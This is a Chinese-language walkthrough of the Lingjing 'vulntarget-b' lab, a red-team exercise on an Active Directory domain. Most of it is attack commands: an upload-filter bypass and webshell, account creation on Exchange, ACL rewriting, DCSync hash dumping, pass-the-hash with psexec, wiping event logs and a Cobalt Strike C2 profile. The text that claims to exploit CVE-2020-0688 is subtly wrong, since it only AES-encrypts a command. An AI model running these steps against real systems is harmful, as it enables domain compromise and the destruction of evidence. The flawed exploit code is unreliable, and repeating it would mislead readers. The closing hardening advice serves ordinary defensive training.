1. 靶场环境概述
Lingjing(灵境)靶场是国内安全圈近年来兴起的一个综合性实战演练平台,其最大特色在于高度还原企业真实网络架构。vulntarget-b是该平台中一个典型的Active Directory域渗透场景,模拟了中型企业常见的Windows Server混合环境。这个靶机在安全圈内被称为"AD域渗透的毕业考题",因为其完整复现了从外网突破到内网横向移动的全链路攻击路径。
我选择这个靶机作为演练对象,主要基于三个实战价值点:首先,它包含了Exchange邮件服务器这个在红队行动中高频出现的攻击面;其次,靶机中部署了多台存在信任关系的域成员主机,完美模拟了企业内网环境;最后,靶机刻意设置了多个需要组合利用的漏洞点,非常考验渗透测试人员的攻击链构建能力。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境搭建与初始配置
2.1 网络拓扑分析
靶场环境采用VMware虚拟化部署,包含以下关键节点:
- 边界服务器(192.168.1.100):运行IIS 10.0的Windows Server 2019,开放80/443端口
- 域控制器(192.168.1.10):Windows Server 2016域控,同时承载DNS服务
- Exchange服务器(192.168.1.20):Microsoft Exchange Server 2016 CU23
- 域成员主机(192.168.1.30-50):三台Windows 10企业版工作站
特别注意:所有虚拟机需要将网络适配器设置为NAT模式,并关闭VMware的DHCP服务,手动配置192.168.1.0/24网段地址。
2.2 渗透测试工具准备
本次演练使用Kali Linux 2023.4作为攻击机,主要工具链包括:
- 信息收集:Nmap 7.94 + Gobuster 3.1.0
- 漏洞利用:Metasploit Framework 6.3 + Impacket套件
- 密码破解:Hashcat 6.2.6 + John the Ripper 1.9.0
- 横向移动:Cobalt Strike 4.7 + Mimikatz 2.2.0
建议提前执行以下准备工作:
bash复制sudo apt update && sudo apt install -y seclists wordlists
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip install .
3. 外网渗透阶段
3.1 边界服务器突破
使用Nmap进行全端口扫描发现关键信息:
bash复制nmap -sV -p- -T4 192.168.1.100
扫描结果显示80端口运行着IIS 10.0,443端口有ASP.NET应用。通过目录爆破发现管理后台:
bash复制gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x aspx,asp
在/admin路径下发现存在文件上传漏洞的文档管理系统,通过制作特殊文件名绕过前端验证:
html复制<!-- 上传文件名为test.aspx;.jpg -->
<form action="/admin/upload.aspx" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" />
</form>
成功上传Webshell后,使用蚁剑连接获取初始立足点。在C:\Users\Public目录下发现备份的域用户密码本:
code复制admin:Welcome@2023
dev:Dev123456
test:Test@2023
3.2 Exchange服务器入侵
通过收集到的dev账号密码,成功登录OWA邮箱系统。利用CVE-2020-0688漏洞执行远程代码:
powershell复制# 生成漏洞利用Payload
$key = [System.Text.Encoding]::UTF8.GetBytes('12345678')
$sec = New-Object System.Security.Cryptography.RijndaelManaged
$sec.Mode = [System.Security.Cryptography.CipherMode]::CBC
$sec.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$sec.KeySize = 256
$sec.BlockSize = 128
$sec.Key = $key
$sec.IV = $key
$enc = $sec.CreateEncryptor()
$ms = New-Object System.IO.MemoryStream
$cs = New-Object System.Security.Cryptography.CryptoStream($ms,$enc,[System.Security.Cryptography.CryptoStreamMode]::Write)
$sw = New-Object System.IO.StreamWriter($cs)
$sw.Write('net user hacker P@ssw0rd /add & net localgroup administrators hacker /add')
$sw.Close()
$cs.Close()
$ms.Close()
$sec.Dispose()
$payload = [System.Convert]::ToBase64String($ms.ToArray())
通过EWS接口发送恶意请求,成功在Exchange服务器上创建管理员账户。
4. 内网横向移动
4.1 域信息收集
从Exchange服务器导出域控信息:
powershell复制nltest /domain_trusts
net group "Domain Admins" /domain
发现域内存在三个OU:IT_Dept、HR_Dept、Finance_Dept。使用BloodHound进行分析:
bash复制# 在Kali上启动Neo4j
neo4j console &
# 收集数据并导入
SharpHound.exe -c All --zipfilename lingjing
分析显示IT_Dept组对域控制器有WriteDACL权限,这是关键的提权路径。
4.2 权限提升与持久化
利用Exchange的WriteDACL权限修改域控ACL:
powershell复制$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$dc = $domainObj.PdcRoleOwner.Name
$searchString = "LDAP://" + $dc + "/DC=$($domainObj.Name.Replace('.', ',DC='))"
$dirEntry = New-Object System.DirectoryServices.DirectoryEntry($searchString)
$secDescriptor = $dirEntry.ObjectSecurity
$user = New-Object System.Security.Principal.NTAccount("IT_Dept\dev")
$secDescriptor.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$user, "GenericAll", "Allow")))
$dirEntry.CommitChanges()
随后使用DCSync攻击导出所有域用户哈希:
bash复制secretsdump.py 'it_dept/dev:Dev123456@192.168.1.10'
获取到域管理员哈希后,通过PTH攻击接管域控:
bash复制psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 administrator@192.168.1.10
5. 攻击链优化与防御绕过
5.1 日志清除技术
在每台攻陷的主机上执行日志清理:
powershell复制wevtutil cl Security
wevtutil cl System
wevtutil cl Application
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs" -Name "*" -Force
5.2 隐蔽隧道构建
使用DNS-over-HTTPS进行C2通信:
bash复制# Cobalt Strike配置示例
https-certificate {
set keystore "store.jks";
set password "123456";
set alias "mydomain";
}
dns-beacon {
set dns_idle "8.8.4.4";
set dns_sleep "0";
set dns_ttl "5";
set maxdns "255";
}
6. 防御建议与加固措施
6.1 边界防护加固
针对本次攻击暴露的问题,建议企业实施以下防护措施:
-
IIS服务器:
- 安装URLScan模块过滤异常请求
- 设置文件上传目录无执行权限
- 启用动态脚本签名验证
-
Exchange服务器:
- 及时安装最新累积更新
- 禁用不必要的EWS功能
- 配置应用程序白名单
6.2 域环境安全优化
-
权限管理:
- 遵循最小权限原则配置ACL
- 定期审计敏感权限分配
- 启用特权账户管理(PAM)
-
监控措施:
- 部署SIEM检测DCSync行为
- 监控异常Kerberos票据请求
- 设置哈希传递攻击告警
在完成整个渗透过程后,最大的体会是域环境安全是个系统工程。即使修补了单个漏洞,攻击者仍可能通过权限组合实现突破。建议企业定期进行红蓝对抗演练,持续优化防御体系。
